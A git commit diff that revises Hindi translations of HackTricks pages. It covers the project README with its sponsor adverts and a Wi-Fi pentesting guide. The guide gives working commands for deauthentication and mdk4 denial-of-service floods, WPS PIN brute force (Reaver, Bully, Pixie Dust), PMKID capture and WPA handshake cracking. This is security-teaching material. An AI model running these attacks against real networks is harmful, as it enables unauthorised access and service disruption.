Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:34:11 +00:00
parent fcb69c1823
commit dddf218a06
19 changed files with 488 additions and 492 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks लोगो और मोशन डिज़ाइन द्वारा_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, असली जीवन ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
**विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, वास्तविक जीवन के ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।**
{% endhint %}
शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **विशिष्ट प्रवाह** मिलेगा जो **आपको एक या अधिक मशीनों का परीक्षण करते समय पालन करना चाहिए:**
@ -14,7 +14,7 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Corporate Sponsors
## कॉर्पोरेट प्रायोजक
### [STM Cyber](https://www.stmcyber.com)
@ -65,7 +65,7 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
@ -93,12 +93,12 @@ _Hacktricks लोगो और मोशन डिज़ाइन द्वा
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सके। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि **सर्च इंजन परिणामों** तक पहुँच प्राप्त की जा सके। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
अन्य प्रदाताओं के विपरीत, **SerpApi केवल जैविक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
वर्तमान SerpApi ग्राहक में **Apple, Shopify, और GrubHub** शामिल हैं।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएं, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आजमाएं।\
आप **यहाँ** [**एक मुफ्त खाता बना सकते हैं**](https://serpapi.com/users/sign\_up)**।**
@ -108,17 +108,17 @@ SerpApi की योजनाओं में से एक की सदस्
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर** में व्यवसायों को नवीनतम साइबर सुरक्षा खतरों से **सुरक्षित** करने में मदद करती है, **आक्रामक-सुरक्षा सेवाएं** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की **सुरक्षा** करने में मदद करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएं** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ।
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसका भुगतान नहीं करते!**" अधिक जानकारी के लिए उनके [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर नज़र डालें!
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
उपरोक्त के अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## License & Disclaimer
## लाइसेंस और अस्वीकरण
उन्हें देखें:
@ -126,7 +126,7 @@ WebSec के बारे में एक और अच्छी बात य
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
{% endcontent-ref %}
## Github Stats
## गिटहब आँकड़े
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
@ -139,8 +139,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे।
</details>
{% endhint %}

View file

@ -9,15 +9,15 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -26,11 +26,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**नवीनतम घोषणाएँ**\
वीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**आज ही** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**आज ही** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## Wifi बुनियादी कमांड
## Wifi basic commands
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -115,8 +115,8 @@ sudo python setup.py install # Install any dependencies
* **ओपन** ईविल ट्विन \[+ DoS] -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
* **WPA-PSK** ईविल ट्विन -- यदि आप पासवर्ड जानते हैं तो नेटवर्क हमलों के लिए उपयोगी
* **WPA-MGT** -- कंपनी के क्रेडेंशियल्स कैप्चर करने के लिए उपयोगी
* **KARMA, MANA**, **लाउड MANA**, **जाने-माने बीकन**
* **+ ओपन** -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ Open** -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
* **+ WPA** -- WPA हैंडशेक कैप्चर करने के लिए उपयोगी
## DOS
@ -125,7 +125,7 @@ sudo python setup.py install # Install any dependencies
**यहाँ से** [**विवरण**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**डिऑथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चिंताजनक, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है।
**डिऑथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चौंकाने वाली, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है।
**Aireplay-ng का उपयोग करके डिऑथेंटिकेशन**
```
@ -139,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### डिसएसोसिएशन पैकेट्स
**डिसएसोसिएशन पैकेट्स**, डिअथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिअथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **नेटवर्क से बुरे डिवाइस को स्पष्ट रूप से हटाने के लिए डिअथेंटिकेशन पैकेट भेजता है, डिसएसोसिएशन पैकेट आमतौर पर तब भेजे जाते हैं जब AP शटडाउन**, रीस्टार्ट, या स्थानांतरित हो रहा होता है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है।
**डिसएसोसिएशन पैकेट्स**, डिअथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिअथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **नेटवर्क से बुरे डिवाइसों को स्पष्ट रूप से हटाने के लिए डिअथेंटिकेशन पैकेट्स उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP शटडाउन**, पुनः आरंभ, या स्थानांतरित हो रहा होता है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है।
**यह हमला mdk4(mode "d") द्वारा किया जा सकता है:**
```bash
@ -176,7 +176,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID Probing and Bruteforcing**
Access Points (APs) की जांच करना यह सुनिश्चित करता है कि SSID सही तरीके से प्रकट किया गया है और AP की रेंज की पुष्टि करता है। यह तकनीक, **छिपे हुए SSIDs** को शब्द सूची के साथ या बिना शब्द सूची के ब्रूटफोर्स करने के साथ मिलकर, छिपे हुए नेटवर्क की पहचान और पहुंच में मदद करती है।
Access Points (APs) की जांच करना यह सुनिश्चित करता है कि SSID सही तरीके से प्रकट किया गया है और AP की रेंज की पुष्टि करता है। यह तकनीक, **छिपे हुए SSIDs** को शब्द सूची के साथ या बिना शब्द सूची के ब्रूटफोर्सिंग के साथ मिलकर, छिपे हुए नेटवर्क की पहचान और पहुंच में मदद करती है।
**ATTACK MODE m: Michael Countermeasures Exploitation**
@ -188,7 +188,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start और Logoff Packet Injection**
एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ में डालने से **फर्जी सत्र** बनते हैं, जो AP को ओवरलोड कर देते हैं और वैध क्लाइंट्स को ब्लॉक कर देते हैं। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करने से क्लाइंट्स को मजबूरन डिस्कनेक्ट किया जाता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं।
एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ में डालने से **नकली सत्र** बनते हैं, जो AP को ओवरलोड कर देते हैं और वैध क्लाइंट्स को ब्लॉक कर देते हैं। वैकल्पिक रूप से, **नकली EAPOL Logoff संदेश** इंजेक्ट करने से क्लाइंट्स को मजबूरन डिस्कनेक्ट किया जाता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं।
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -225,7 +225,7 @@ WPS (Wi-Fi Protected Setup) उपकरणों को राउटर से
* **Reaver** को WPS के खिलाफ एक मजबूत और व्यावहारिक हमले के लिए डिज़ाइन किया गया है, और इसे विभिन्न प्रकार के एक्सेस पॉइंट और WPS कार्यान्वयन के खिलाफ परीक्षण किया गया है।
* **Bully** WPS ब्रूट फोर्स हमले का **नया कार्यान्वयन** है, जो C में लिखा गया है। इसमें मूल रीवर कोड की तुलना में कई लाभ हैं: कम निर्भरताएँ, बेहतर मेमोरी और CPU प्रदर्शन, एंडियननेस का सही प्रबंधन, और विकल्पों का एक अधिक मजबूत सेट।
यह हमला **WPS PIN की संवेदनशीलता** का लाभ उठाता है, विशेष रूप से पहले चार अंकों के उजागर होने और अंतिम अंक की चेकसम के रूप में भूमिका, जिससे ब्रूट-फोर्स हमले को आसान बनाता है। हालाँकि, आक्रामक हमलावरों के **MAC पते** को ब्लॉक करने जैसे ब्रूट-फोर्स हमलों के खिलाफ रक्षा के लिए **MAC पते का रोटेशन** आवश्यक है ताकि हमले को जारी रखा जा सके।
यह हमला **WPS PIN की संवेदनशीलता** का लाभ उठाता है, विशेष रूप से पहले चार अंकों के उजागर होने और अंतिम अंक की चेकसम के रूप में भूमिका, जिससे ब्रूट-फोर्स हमले को आसान बनाता है। हालाँकि, आक्रामक हमलावरों के **MAC पते** को अवरुद्ध करने जैसे ब्रूट-फोर्स हमलों के खिलाफ रक्षा के लिए **MAC पते का रोटेशन** आवश्यक है ताकि हमले को जारी रखा जा सके।
Bully या Reaver जैसे उपकरणों के साथ WPS PIN प्राप्त करने पर, हमलावर WPA/WPA2 PSK का अनुमान लगा सकता है, जिससे **स्थायी नेटवर्क पहुंच** सुनिश्चित होती है।
```bash
@ -236,25 +236,25 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
यह परिष्कृत दृष्टिकोण ज्ञात कमजोरियों का उपयोग करके WPS PINs को लक्षित करता है:
1. **पूर्व-खोजे गए PINs**: विशिष्ट निर्माताओं से जुड़े ज्ञात PINs का एक डेटाबेस उपयोग करें जो समान WPS PINs का उपयोग करते हैं। यह डेटाबेस MAC-पते के पहले तीन ऑक्टेट्स को इन निर्माताओं के लिए संभावित PINs के साथ सहसंबंधित करता है।
1. **पूर्व-खोजी गई PINs**: विशिष्ट निर्माताओं से जुड़े ज्ञात PINs का एक डेटाबेस उपयोग करें जो समान WPS PINs का उपयोग करते हैं। यह डेटाबेस MAC-पते के पहले तीन ऑक्टेट्स को इन निर्माताओं के लिए संभावित PINs के साथ सहसंबंधित करता है।
2. **PIN जनरेशन एल्गोरिदम**: ComputePIN और EasyBox जैसे एल्गोरिदम का लाभ उठाएं, जो AP के MAC-पते के आधार पर WPS PINs की गणना करते हैं। Arcadyan एल्गोरिदम को अतिरिक्त रूप से एक डिवाइस ID की आवश्यकता होती है, जो PIN जनरेशन प्रक्रिया में एक परत जोड़ती है।
### WPS पिक्सी डस्ट हमला
**डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस का पता लगाया जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP विशेष कोड (हैश) के भीतर PIN प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और कोई नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहाँ](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) मिल सकती है।
सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक चाबियाँ का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित करने के लिए कमजोर बना दिया गया है (ऑफलाइन ब्रूट फोर्स हमला)।
सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक कुंजियों का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित करने के लिए कमजोर बना दिया गया है (ऑफलाइन ब्रूट फोर्स हमला)।
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
यदि आप डिवाइस को मॉनिटर मोड में स्विच नहीं करना चाहते हैं, या `reaver` और `bully` में कुछ समस्या है, तो आप [OneShot-C](https://github.com/nikita-yfh/OneShot-C) आजमा सकते हैं। यह उपकरण Pixie Dust हमले को मॉनिटर मोड में स्विच किए बिना करने में सक्षम है।
यदि आप डिवाइस को मॉनिटर मोड में स्विच नहीं करना चाहते हैं, या `reaver` और `bully` में कुछ समस्या है, तो आप [OneShot-C](https://github.com/nikita-yfh/OneShot-C) आजमा सकते हैं। यह उपकरण बिना मॉनिटर मोड में स्विच किए Pixie Dust हमला कर सकता है।
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Null Pin हमला
कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोर का परीक्षण करने में सक्षम है, इसके विपरीत **Bully**
कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरियों का परीक्षण करने में सक्षम है, इसके विपरीत **Bully**
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
@ -278,7 +278,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
@ -286,7 +286,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से
वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
@ -321,7 +321,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
**PMKIDs कैप्चर किए गए** **कंसोल** में दिखाए जाएंगे और साथ ही **/tmp/attack.pcap** के अंदर भी **सहेजे** जाएंगे।\
**PMKIDs कैप्चर किए गए** **कंसोल** में दिखाए जाएंगे और साथ ही **/_/tmp/attack.pcap_** में भी **सहेजे** जाएंगे।\
अब, कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
@ -342,7 +342,7 @@ _मैंने देखा है कि इस उपकरण के सा
### हैंडशेक कैप्चर
**WPA/WPA2** नेटवर्क पर एक हमला एक **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID** के संचार की निगरानी करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त मार्गदर्शिका है:
**WPA/WPA2** नेटवर्क पर एक हमला **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID** के संचार की निगरानी करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त मार्गदर्शिका है:
1. लक्ष्य नेटवर्क का **BSSID**, **चैनल**, और एक **कनेक्टेड क्लाइंट** पहचानें।
2. निर्दिष्ट चैनल और BSSID पर नेटवर्क ट्रैफ़िक की निगरानी करने के लिए `airodump-ng` का उपयोग करें, उम्मीद है कि एक हैंडशेक कैप्चर हो सके। कमांड इस तरह दिखेगा:
@ -377,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_यदि यह उपकरण किसी ESSID का अधूरा हैंडशेक पूर्ण हैंडशेक से पहले पाता है, तो यह मान्य हैंडशेक का पता नहीं लगाएगा।_
_यदि यह उपकरण किसी ESSID का अधूरा हैंडशेक पूर्ण हैंडशेक से पहले पाता है, तो यह मान्य वाले को नहीं पहचान पाएगा।_
**pyrit**
```bash
@ -386,7 +386,7 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
**एंटरप्राइज वाईफाई सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियों में शामिल हैं:
इन **एंटरप्राइज वाईफाई सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, जो विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियों में शामिल हैं:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
@ -395,13 +395,13 @@ pyrit -r psk-01.cap analyze
2. **EAP-MD5 (Message Digest 5)**:
* इसमें क्लाइंट से पासवर्ड का MD5 हैश भेजना शामिल है। यह **सिफारिश नहीं की जाती** है क्योंकि यह शब्दकोश हमलों के प्रति संवेदनशील है, सर्वर प्रमाणीकरण की कमी है, और सत्र-विशिष्ट WEP कुंजी उत्पन्न करने में असमर्थ है।
3. **EAP-TLS (Transport Layer Security)**:
* प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी गतिशील रूप से उत्पन्न कर सकता है।
* प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी को गतिशील रूप से उत्पन्न कर सकता है।
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* एक एन्क्रिप्टेड टनल के माध्यम से आपसी प्रमाणीकरण प्रदान करता है, साथ ही उपयोगकर्ता-विशिष्ट, सत्र-विशिष्ट WEP कुंजी निकालने की विधि भी। यह केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है, जिसमें क्लाइंट क्रेडेंशियल्स का उपयोग करते हैं।
5. **PEAP (Protected Extensible Authentication Protocol)**:
* यह EAP के समान कार्य करता है, सुरक्षित संचार के लिए एक TLS टनल बनाता है। यह टनल द्वारा प्रदान की गई सुरक्षा के कारण EAP के शीर्ष पर कमजोर प्रमाणीकरण प्रोटोकॉल के उपयोग की अनुमति देता है।
* **PEAP-MSCHAPv2**: इसे अक्सर PEAP के रूप में संदर्भित किया जाता है, यह कमजोर MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है।
* **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान है लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले एक TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है।
* **PEAP-MSCHAPv2**: अक्सर PEAP के रूप में संदर्भित, यह कमजोर MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है।
* **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले एक TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है।
